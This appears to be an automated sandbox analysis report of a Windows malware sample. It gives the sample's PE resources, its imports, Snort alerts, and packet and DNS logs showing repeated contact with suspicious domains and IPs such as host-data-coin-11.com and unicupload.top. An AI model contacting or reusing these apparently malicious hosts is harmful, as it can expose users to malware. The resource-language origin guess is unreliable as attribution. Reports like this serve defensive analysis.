RT_ICON	0xcbb20	0x988	data	Spanish	Colombia
RT_ICON	0xcc4a8	0x468	GLS_BINARY_LSB_FIRST	Spanish	Colombia
RT_STRING	0xce790	0x72	data	Divehi; Dhivehi; Maldivian	Maldives
RT_STRING	0xce808	0x256	data	Divehi; Dhivehi; Maldivian	Maldives
RT_STRING	0xcea60	0x794	data	Divehi; Dhivehi; Maldivian	Maldives
RT_STRING	0xcf1f8	0x90	data	Divehi; Dhivehi; Maldivian	Maldives
RT_ACCELERATOR	0xcc9c8	0x78	data	Divehi; Dhivehi; Maldivian	Maldives
RT_ACCELERATOR	0xcc970	0x58	data	Divehi; Dhivehi; Maldivian	Maldives
RT_GROUP_CURSOR	0xccbc0	0x14	data	Divehi; Dhivehi; Maldivian	Maldives
RT_GROUP_CURSOR	0xcdea0	0x30	data	Divehi; Dhivehi; Maldivian	Maldives
RT_GROUP_CURSOR	0xce778	0x14	data	Divehi; Dhivehi; Maldivian	Maldives
RT_GROUP_ICON	0xcc910	0x5a	data	Spanish	Colombia
None	0xcca50	0xa	data	Divehi; Dhivehi; Maldivian	Maldives
None	0xcca60	0xa	data	Divehi; Dhivehi; Maldivian	Maldives
None	0xcca40	0xa	data	Divehi; Dhivehi; Maldivian	Maldives
None	0xcca70	0xa	data	Divehi; Dhivehi; Maldivian	Maldives
None	0xcca80	0xa	data	Divehi; Dhivehi; Maldivian	Maldives

Imports

DLL

Import

KERNEL32.dll

GetNamedPipeHandleStateW, CreateNamedPipeA, CallNamedPipeW, TerminateThread, GetExitCodeProcess, GetVersionExA, VerifyVersionInfoW, SetConsoleCP, GetConsoleAliasesLengthA, VerLanguageNameA, FindFirstFileExA, VerifyVersionInfoA, FreeEnvironmentStringsA, GetProcessPriorityBoost, SetVolumeMountPointW, GetLongPathNameA, CopyFileA, TlsGetValue, SetConsoleCursorInfo, TzSpecificLocalTimeToSystemTime, AddAtomA, ReleaseMutex, GetNamedPipeHandleStateA, BuildCommDCBAndTimeoutsA, GetProcAddress, LoadLibraryA, GlobalAlloc, Sleep, TlsSetValue, MoveFileA, GetCommandLineW, InterlockedExchange, DeleteFileW, CreateActCtxA, SetFileAttributesA, GetPrivateProfileIntW, GetProcessHeap, CreateNamedPipeW, ReadConsoleOutputCharacterA, GetStartupInfoA, GetDiskFreeSpaceExW, GetCPInfoExW, GetWindowsDirectoryW, GetSystemWow64DirectoryA, SetLastError, GetProfileStringA, GetCalendarInfoW, FreeUserPhysicalPages, GetTickCount, GetStringTypeA, DebugBreak, FindFirstFileA, lstrcmpA, WriteFile, GetConsoleMode, lstrcatW, SetFirmwareEnvironmentVariableA, DefineDosDeviceW, EndUpdateResourceA, WriteConsoleW, InterlockedIncrement, SetSystemTimeAdjustment, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileStructA, GetPrivateProfileStructW, GetFileAttributesExW, HeapUnlock, CreateIoCompletionPort, PeekConsoleInputA, GetNumberFormatW, GetQueuedCompletionStatus, FindResourceExA, SetLocalTime, TryEnterCriticalSection, CreateSemaphoreA, GetThreadLocale, SetFileShortNameA, lstrcpyA, ReplaceFileA, LockFileEx, MoveFileExA, GetConsoleCP, GetVolumePathNameA, FlushConsoleInputBuffer, SearchPathW, FreeConsole, GetConsoleAliasExesLengthW, WriteConsoleInputW, LocalShrink, SetCommState, GetSystemTimeAdjustment, EnumSystemLocalesW, ProcessIdToSessionId, GetDevicePowerState, DeleteTimerQueueTimer, GetWriteWatch, OpenSemaphoreA, GetConsoleScreenBufferInfo, ClearCommBreak, TlsAlloc, OpenMutexW, GetComputerNameW, HeapValidate, GetLastError, OpenMutexA, WaitForMultipleObjectsEx, SignalObjectAndWait, GetSystemPowerStatus, VirtualLock, SetWaitableTimer, ChangeTimerQueueTimer, GetProcessTimes, FatalAppExitA, lstrcpynA, SetNamedPipeHandleState, FillConsoleOutputCharacterA, GetCompressedFileSizeW, FindNextVolumeMountPointA, GetFullPathNameA, WriteProfileStringA, UnlockFile, GlobalAddAtomW, EnterCriticalSection, SetCurrentDirectoryW, InterlockedDecrement, InitializeCriticalSection, DeleteCriticalSection, LeaveCriticalSection, EncodePointer, DecodePointer, IsBadReadPtr, RtlUnwind, RaiseException, GetModuleHandleW, ExitProcess, DeleteFileA, HeapSetInformation, GetStartupInfoW, WideCharToMultiByte, LCMapStringW, MultiByteToWideChar, GetCPInfo, GetModuleFileNameW, InitializeCriticalSectionAndSpinCount, IsProcessorFeaturePresent, HeapAlloc, GetModuleFileNameA, HeapReAlloc, HeapSize, HeapQueryInformation, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, HeapFree, HeapCreate, GetACP, GetOEMCP, IsValidCodePage, GetCurrentThreadId, TlsFree, GetStdHandle, LoadLibraryW, GetLocaleInfoW, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, FreeEnvironmentStringsW, GetEnvironmentStringsW, SetHandleCount, GetFileType, GetStringTypeW, GetLocaleInfoA, IsValidLocale, EnumSystemLocalesA, GetUserDefaultLCID, OutputDebugStringA, OutputDebugStringW, SetFilePointer, SetStdHandle, CreateFileW, CloseHandle, FlushFileBuffers

Possible Origin

Language of compilation system	Country where language is spoken	Map
Divehi; Dhivehi; Maldivian	Maldives
Spanish	Colombia

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
12/28/21-05:18:58.877923	ICMP	402	ICMP Destination Unreachable Port Unreachable			192.168.2.3	8.8.8.8
12/28/21-05:19:47.999622	UDP	254	DNS SPOOF query response with TTL of 1 min. and no authority	53	56360	8.8.8.8	192.168.2.3

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 28, 2021 05:18:39.328684092 CET	49744	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:39.397777081 CET	80	49744	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:39.398063898 CET	49744	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:39.398152113 CET	49744	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:39.398168087 CET	49744	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:39.467042923 CET	80	49744	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:39.521003962 CET	80	49744	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:39.521245003 CET	49744	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:39.522739887 CET	49744	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:39.591444969 CET	80	49744	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:39.899224043 CET	49745	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:39.964905024 CET	80	49745	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:39.966087103 CET	49745	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:39.966197014 CET	49745	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:39.966238022 CET	49745	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.029671907 CET	80	49745	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:40.074943066 CET	80	49745	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:40.075027943 CET	49745	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.075079918 CET	49745	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.099930048 CET	49746	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.138545036 CET	80	49745	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:40.163002014 CET	80	49746	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:40.163110018 CET	49746	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.163245916 CET	49746	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.163275957 CET	49746	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.226242065 CET	80	49746	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:40.273197889 CET	80	49746	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:40.273312092 CET	49746	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.299962044 CET	49746	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.331820011 CET	49747	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.362720013 CET	80	49746	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:40.395400047 CET	80	49747	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:40.395514011 CET	49747	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.395564079 CET	49747	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.395587921 CET	49747	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.458755016 CET	80	49747	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:40.507977962 CET	80	49747	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:40.508167982 CET	49747	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.508397102 CET	49747	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.535793066 CET	49748	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.572290897 CET	80	49747	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:40.603648901 CET	80	49748	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:40.603764057 CET	49748	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.603866100 CET	49748	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.603879929 CET	49748	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.671628952 CET	80	49748	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:40.722018003 CET	80	49748	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:40.722075939 CET	80	49748	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:40.722157955 CET	49748	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.722621918 CET	49748	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.754283905 CET	49749	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.789218903 CET	80	49748	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:40.824974060 CET	80	49749	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:40.825138092 CET	49749	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.825201035 CET	49749	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.825746059 CET	49749	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.895756006 CET	80	49749	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:40.895833969 CET	80	49749	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:40.945710897 CET	80	49749	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:40.945816040 CET	49749	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.945854902 CET	49749	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.985141993 CET	49750	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:41.016473055 CET	80	49749	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:41.052303076 CET	80	49750	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:41.052459002 CET	49750	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:41.052517891 CET	49750	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:41.054378986 CET	49750	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:41.120884895 CET	80	49750	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:41.122675896 CET	80	49750	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:41.170506954 CET	80	49750	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:41.170592070 CET	49750	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:41.170857906 CET	49750	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:41.181376934 CET	49751	80	192.168.2.3	185.186.142.166
Dec 28, 2021 05:18:41.238389969 CET	80	49751	185.186.142.166	192.168.2.3
Dec 28, 2021 05:18:41.240014076 CET	80	49750	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:41.738210917 CET	49751	80	192.168.2.3	185.186.142.166
Dec 28, 2021 05:18:41.792799950 CET	80	49751	185.186.142.166	192.168.2.3
Dec 28, 2021 05:18:42.300786972 CET	49751	80	192.168.2.3	185.186.142.166
Dec 28, 2021 05:18:42.356126070 CET	80	49751	185.186.142.166	192.168.2.3
Dec 28, 2021 05:18:42.401655912 CET	49752	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:42.470093966 CET	80	49752	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:42.474288940 CET	49752	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:42.474426985 CET	49752	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:42.474458933 CET	49752	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:42.543809891 CET	80	49752	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:42.596767902 CET	80	49752	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:42.600327015 CET	49752	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:42.600533962 CET	49752	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:42.667685032 CET	80	49752	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:42.912941933 CET	49753	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:42.985656977 CET	80	49753	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:42.985795021 CET	49753	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:42.985894918 CET	49753	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:42.985908985 CET	49753	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:43.058370113 CET	80	49753	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:43.104787111 CET	80	49753	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:43.104875088 CET	49753	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:43.105145931 CET	49753	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:43.178996086 CET	80	49753	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:43.442044973 CET	49754	80	192.168.2.3	5.188.89.48

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 28, 2021 05:18:39.009231091 CET	58045	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:39.325753927 CET	53	58045	8.8.8.8	192.168.2.3
Dec 28, 2021 05:18:39.539804935 CET	57459	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:39.898515940 CET	53	57459	8.8.8.8	192.168.2.3
Dec 28, 2021 05:18:40.082925081 CET	57875	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:40.099479914 CET	53	57875	8.8.8.8	192.168.2.3
Dec 28, 2021 05:18:40.312503099 CET	54154	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:40.331254959 CET	53	54154	8.8.8.8	192.168.2.3
Dec 28, 2021 05:18:40.515712976 CET	52806	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:40.535259962 CET	53	52806	8.8.8.8	192.168.2.3
Dec 28, 2021 05:18:40.735141993 CET	53910	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:40.753724098 CET	53	53910	8.8.8.8	192.168.2.3
Dec 28, 2021 05:18:40.967773914 CET	64021	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:40.984651089 CET	53	64021	8.8.8.8	192.168.2.3
Dec 28, 2021 05:18:42.382132053 CET	60784	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:42.401002884 CET	53	60784	8.8.8.8	192.168.2.3
Dec 28, 2021 05:18:42.624048948 CET	51143	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:42.911936998 CET	53	51143	8.8.8.8	192.168.2.3
Dec 28, 2021 05:18:43.112515926 CET	56009	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:43.441090107 CET	53	56009	8.8.8.8	192.168.2.3
Dec 28, 2021 05:18:43.616491079 CET	59026	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:43.933008909 CET	53	59026	8.8.8.8	192.168.2.3
Dec 28, 2021 05:18:44.147182941 CET	49572	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:44.166074991 CET	53	49572	8.8.8.8	192.168.2.3
Dec 28, 2021 05:18:51.308043957 CET	50728	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:51.326471090 CET	53	50728	8.8.8.8	192.168.2.3
Dec 28, 2021 05:18:51.529618025 CET	53777	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:51.839946985 CET	53	53777	8.8.8.8	192.168.2.3
Dec 28, 2021 05:18:54.018579006 CET	57106	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:54.037528038 CET	53	57106	8.8.8.8	192.168.2.3
Dec 28, 2021 05:18:54.221879005 CET	60352	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:54.240456104 CET	53	60352	8.8.8.8	192.168.2.3
Dec 28, 2021 05:18:54.475699902 CET	56773	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:54.492506981 CET	53	56773	8.8.8.8	192.168.2.3
Dec 28, 2021 05:18:54.687781096 CET	60982	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:54.790839911 CET	53	60982	8.8.8.8	192.168.2.3
Dec 28, 2021 05:18:54.860582113 CET	58058	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:54.879261017 CET	53	58058	8.8.8.8	192.168.2.3
Dec 28, 2021 05:18:55.082103014 CET	64367	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:55.102793932 CET	53	64367	8.8.8.8	192.168.2.3
Dec 28, 2021 05:18:55.293807983 CET	51539	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:55.580760002 CET	53	51539	8.8.8.8	192.168.2.3
Dec 28, 2021 05:18:55.829900026 CET	55393	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:56.848927021 CET	55393	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:57.860083103 CET	53	55393	8.8.8.8	192.168.2.3
Dec 28, 2021 05:18:57.904176950 CET	50585	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:57.922713041 CET	53	50585	8.8.8.8	192.168.2.3
Dec 28, 2021 05:18:58.119486094 CET	63456	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:58.138019085 CET	53	63456	8.8.8.8	192.168.2.3
Dec 28, 2021 05:18:58.383470058 CET	58540	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:58.697845936 CET	53	58540	8.8.8.8	192.168.2.3
Dec 28, 2021 05:18:58.877804995 CET	53	55393	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:00.655342102 CET	55108	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:00.674246073 CET	53	55108	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:00.914998055 CET	58942	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:00.934396982 CET	53	58942	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:01.146226883 CET	64432	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:01.162827969 CET	53	64432	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:01.347253084 CET	49250	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:01.365943909 CET	53	49250	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:02.232675076 CET	63490	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:02.249583960 CET	53	63490	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:02.478763103 CET	65110	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:02.497446060 CET	53	65110	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:02.729489088 CET	61120	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:02.748177052 CET	53	61120	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:02.971997023 CET	53079	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:02.990892887 CET	53	53079	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:03.125703096 CET	50824	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:03.189141989 CET	56706	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:03.210685968 CET	53	56706	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:03.413042068 CET	53	50824	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:04.956842899 CET	53569	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:04.975486040 CET	53	53569	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:05.164602041 CET	62855	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:05.181310892 CET	53	62855	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:05.383534908 CET	51046	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:05.402218103 CET	53	51046	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:28.001003981 CET	53465	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:28.020386934 CET	53	53465	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:28.310925961 CET	49290	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:28.327271938 CET	53	49290	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:28.529864073 CET	59754	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:28.843050003 CET	53	59754	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:31.480361938 CET	49234	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:31.501394987 CET	53	49234	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:31.706500053 CET	58720	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:31.725389004 CET	53	58720	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:31.920810938 CET	57447	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:31.939925909 CET	53	57447	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:32.179344893 CET	63583	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:32.197608948 CET	53	63583	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:32.383315086 CET	64099	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:32.402122974 CET	53	64099	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:32.639059067 CET	64610	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:32.656451941 CET	53	64610	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:32.941024065 CET	51989	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:32.959716082 CET	53	51989	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:33.145210028 CET	53152	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:33.161716938 CET	53	53152	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:33.396270990 CET	61590	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:33.415293932 CET	53	61590	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:36.806981087 CET	57951	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:36.823970079 CET	53	57951	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:37.024342060 CET	53276	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:37.041131020 CET	53	53276	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:37.255305052 CET	60135	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:37.272277117 CET	53	60135	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:37.491246939 CET	49849	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:37.510828972 CET	53	49849	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:37.723372936 CET	60253	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:37.741883993 CET	53	60253	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:40.592730999 CET	58706	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:40.611608982 CET	53	58706	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:40.821198940 CET	62595	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:40.839665890 CET	53	62595	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:41.037091017 CET	51189	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:41.055852890 CET	53	51189	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:41.282838106 CET	49967	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:41.302234888 CET	53	49967	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:47.531496048 CET	51454	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:47.550419092 CET	53	51454	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:47.768246889 CET	57163	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:47.784822941 CET	53	57163	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:47.981024981 CET	56360	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:47.999622107 CET	53	56360	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:51.106738091 CET	49258	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:51.123631954 CET	53	49258	8.8.8.8	192.168.2.3
Dec 28, 2021 05:20:05.146503925 CET	56195	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:20:05.316809893 CET	53	56195	8.8.8.8	192.168.2.3

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 28, 2021 05:18:58.877923012 CET	192.168.2.3	8.8.8.8	cff6	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Dec 28, 2021 05:18:39.009231091 CET	192.168.2.3	8.8.8.8	0x754f	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:39.539804935 CET	192.168.2.3	8.8.8.8	0xdfce	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:40.082925081 CET	192.168.2.3	8.8.8.8	0x4311	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:40.312503099 CET	192.168.2.3	8.8.8.8	0x4f6a	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:40.515712976 CET	192.168.2.3	8.8.8.8	0x7740	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:40.735141993 CET	192.168.2.3	8.8.8.8	0xc6ad	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:40.967773914 CET	192.168.2.3	8.8.8.8	0x77c4	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:42.382132053 CET	192.168.2.3	8.8.8.8	0x9be4	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:42.624048948 CET	192.168.2.3	8.8.8.8	0x2cac	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:43.112515926 CET	192.168.2.3	8.8.8.8	0x9353	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:43.616491079 CET	192.168.2.3	8.8.8.8	0x5aa5	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:44.147182941 CET	192.168.2.3	8.8.8.8	0x3ded	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:51.308043957 CET	192.168.2.3	8.8.8.8	0x67ec	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:51.529618025 CET	192.168.2.3	8.8.8.8	0x31c7	Standard query (0)	privacytools-foryou-777.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:54.018579006 CET	192.168.2.3	8.8.8.8	0xe252	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:54.221879005 CET	192.168.2.3	8.8.8.8	0x8cf7	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:54.475699902 CET	192.168.2.3	8.8.8.8	0x4fe3	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:54.687781096 CET	192.168.2.3	8.8.8.8	0xf0cc	Standard query (0)	unicupload.top	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:54.860582113 CET	192.168.2.3	8.8.8.8	0xae28	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:55.082103014 CET	192.168.2.3	8.8.8.8	0x104f	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:55.293807983 CET	192.168.2.3	8.8.8.8	0xf4e4	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:55.829900026 CET	192.168.2.3	8.8.8.8	0x3ab6	Standard query (0)	infinity-cheats.com	A (IP address)	IN (0x0001)
